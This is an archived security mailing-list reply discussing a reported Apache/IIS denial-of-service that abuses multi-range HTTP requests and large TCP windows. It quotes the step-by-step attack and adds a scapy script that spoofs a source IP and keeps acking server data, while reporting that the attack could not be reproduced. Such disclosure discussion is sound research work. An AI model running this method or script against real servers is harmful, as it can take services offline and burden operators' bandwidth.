bugtraq - Re: a cheesy Apache / IIS DoS vuln (+a question)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Thu, 04 Jan 2007 14:36:18 +0200
From: Siim Põder <windo@...rad-teel.net>
To: Michal Zalewski <lcamtuf@...ne.ids.pl>
Cc: bugtraq@...urityfocus.com, full-disclosure@...sys.com
Subject: Re: a cheesy Apache / IIS DoS vuln (+a question)

Michal Zalewski wrote:
>   1) Connect to the server (as many times as allowed by the remote party
>      or deemed appropriate for the purpose of this demonstration),
> 
>   2) Negotiate a high TCP window size for each of the connections (1 GB
>      should be doable),
> 
>   3) Send a partial request as follows for each of the connections:
>      GET /foo.html HTTP/1.1
>      Host: example.com
>      Range: bytes=0-,0-,0-,0-,0-... (up to 8 kB for Apache, 16 kB for IIS)
> 
>      Each "0-" would generate a separate multipart/byteranges containing
>      the entire file (bytes from 0 'til EOF).
> 
>   4) Send a closing newline within each of the connections to commit
>      the request,
> 
>   5) Silently drop the connections, possibly re-connect to dial-up / DSL
>      to duck the responses that would keep pouring at full speed until
>      TCP window size is exhausted or an ISP-level non-delivery /
>      congestion control mechanism kicks in (and isn't filtered out
>      down the route).
> 
> This should cause the server to send gigabytes of data, with only a
> minimal bandwidth expense on the attacker's end.

Did you actually try it? I can't produce this, so there's propably
something I'm missing. SYN with window scaling 10, request an url, ack
packets until ctrl-c. At least the apache on my personal linux server
immediately stops sending new packets after the acks stop.

Tried the following scapy script:

#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 5:
   print "Usage: ./wscale.py <target> <spoofed_ip> <port> <url>"
   sys.exit(1)

print sys.argv[3]
lport=random.randint(1025,6000)

print "SEND SYN:"
handshake1=IP(src=sys.argv[2],
dst=sys.argv[1])/TCP(dport=int(sys.argv[3]), sport=lport, flags="S",
seq=1, options=[('WScale', 10)])
handshake1.payload.show()
ans1 = sr1(handshake1)

print "RECV SYNACK:"
ans1.payload.show()

acking=ans1.payload.seq+1

print "SEND ACK:"
handshake2=IP(src=sys.argv[2],
dst=sys.argv[1])/TCP(dport=int(sys.argv[3]), sport=lport, flags="A",
seq=2, ack=acking)
handshake2.payload.show()
send(handshake2)

print "SEND REQ:"
request=IP(src=sys.argv[2], dst=sys.argv[1])/TCP(dport=int(sys.argv[3]),
sport=lport, flags="A", seq=2, ack=acking)/Raw("GET " + sys.argv[4] + "
HTTP/1.0\n\n")
request.payload.show()
ans2=sr1(request)

print "RECV DATA1:"
ans2.payload.show()

while True:
   ack=IP(src=sys.argv[2], dst=sys.argv[1])/TCP(dport=int(sys.argv[3]),
sport=lport, flags="A", seq=(ans2.payload.ack),
ack=(ans2.payload.seq+len(ans2.payload.payload)))
   ans2=sr1(ack)
   print ans2.payload.show()